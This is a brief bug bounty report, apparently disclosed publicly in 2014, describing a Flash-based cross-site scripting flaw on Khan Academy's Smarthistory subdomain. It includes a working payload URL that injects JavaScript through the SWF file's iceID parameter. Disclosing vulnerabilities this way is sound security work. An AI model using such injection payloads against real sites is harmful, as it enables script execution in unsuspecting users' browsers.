Khan Academy · Report #6575
XSS at http://smarthistory.khanacademy.org
Validstatus
7upvotes
9 Apr 2014disclosed
How it was found
Hi,
There is a SWF-based XSS : http://smarthistory.khanacademy.org/assets/flash/cozimo.swf?iceID=\%22%29%29}catch%28e%29{alert%28%27XSS%27%29;}//
Opening the link would trigger JavaScript execution! Works in possibly any browser with Adobe Flash, i.e - Chrome, Firefox
Thanks!